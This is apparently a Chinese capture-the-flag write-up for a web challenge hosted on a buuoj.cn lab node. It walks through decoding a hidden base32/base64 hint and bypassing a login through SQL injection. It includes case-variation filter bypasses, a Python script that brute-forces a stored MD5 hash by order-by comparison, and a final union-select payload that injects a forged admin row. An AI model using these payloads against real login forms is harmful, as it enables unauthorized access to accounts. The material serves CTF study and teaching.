挺有意思的一题,打开网站首先给个登录框,随便输个admin,提示wrong pass!
,查看源码,发现有串base编码
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
先base32,后base64解码,得到一段sql语句
select * from user where username = '$name'
可以看到程序只查询了username,那么密码就应该是后台另外判断的。
首先尝试正常sql注入
name=1' Order by 3#
虽然有提示过滤,但是大小写即可绕过,最终得到列数为3。
后续测试中发现()
被过滤,采用order by注入
import requests
import time
url='http://afeaeb99-e18a-4f62-81a8-20b9dbcac921.node3.buuoj.cn/search.php'
flag=''
char = '0123456789abcdefghijklmnopqrstuvwxyz'
while True:
for i in char:
payload = f"admin' union select 1,'zzzzz','{flag+i}' Order by 3#"
r=requests.post(url,data={'name':payload,'pw':'123'})
time.sleep(1)
if "pass" in r.text:
flag+=temp
print(flag)
break
temp=i
跑出来一串md5:cdc9c819c7f8be2628d4180669009d28
,但是解也解不出来,后来看了源码才明白原来跟数据库中的数据没有关系
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
首先程序在数据库中找到admin的数据,然后再将用户传入的pw进行md5加密,再与数据库中的数据进行判断。但是当使用union select注入时,数据库返回的数据会包含union select注入的结果,例如:
MariaDB [test]> select * from test1;
+---------------------------+-------------+
| username | password |
+---------------------------+-------------+
| vampire | mypassword |
| vampire1 | mypassword |
| vampire | random_pass |
+---------------------------+-------------+
3 rows in set (0.000 sec)
MariaDB [test]> select * from test1 union select 1,2;
+---------------------------+-------------+
| username | password |
+---------------------------+-------------+
| vampire | mypassword |
| vampire1 | mypassword |
| vampire | random_pass |
| 1 | 2 |
+---------------------------+-------------+
4 rows in set (0.001 sec)
利用这个,将自己构造的用户名和密码插入查询中,pw
参数再传入明文,即可绕过。
payload:
name=111' union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123